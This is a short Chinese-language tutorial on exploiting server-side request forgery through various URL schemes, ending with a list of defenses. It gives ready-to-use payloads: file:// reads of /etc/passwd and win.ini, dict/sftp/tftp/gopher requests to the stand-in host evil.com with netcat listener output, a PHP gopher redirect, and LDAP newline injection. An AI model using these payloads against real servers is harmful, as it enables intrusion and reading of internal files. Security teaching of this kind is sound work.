當我們發現SSRF漏洞后,首先要做的事情就是測試所有可用的URL偽協議
0x01 類型
file:///
dict://
sftp://
ldap://
tftp://
gopher://
file://
這種URL Schema可以嘗試從文件系統中獲取文件:
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果該服務器阻止對外部站點發送HTTP請求,或啟用了白名單防護機制,只需使用如下所示的URL Schema就可以繞過這些限制:
dict://
這種URL Scheme能夠引用允許通過DICT協議使用的定義或單詞列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
sftp://
在這里,Sftp代表SSH文件傳輸協議(SSH File Transfer Protocol),或安全文件傳輸協議(Secure File Transfer Protocol),這是一種與SSH打包在一起的單獨協議,它運行在安全連接上,並以類似的方式進行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
ldap://或ldaps:// 或ldapi://
LDAP代表輕量級目錄訪問協議。它是IP網絡上的一種用於管理和訪問分布式目錄信息服務的應用程序協議。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp://
TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)是一種簡單的基於lockstep機制的文件傳輸協議,它允許客戶端從遠程主機獲取文件或將文件上傳至遠程主機。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
gopher://
Gopher是一種分布式文檔傳遞服務。利用該服務,用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
0x02 防御
1.禁止跳轉
2.過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標准。
3.禁用不需要的協議,僅僅允許http和https請求。可以防止類似於file://, gopher://, ftp:// 等引起的問題
4.設置URL白名單或者限制內網IP(使用gethostbyname()判斷是否為內網IP)
5.限制請求的端口為http常用的端口,比如 80、443、8080、8090
6.統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態。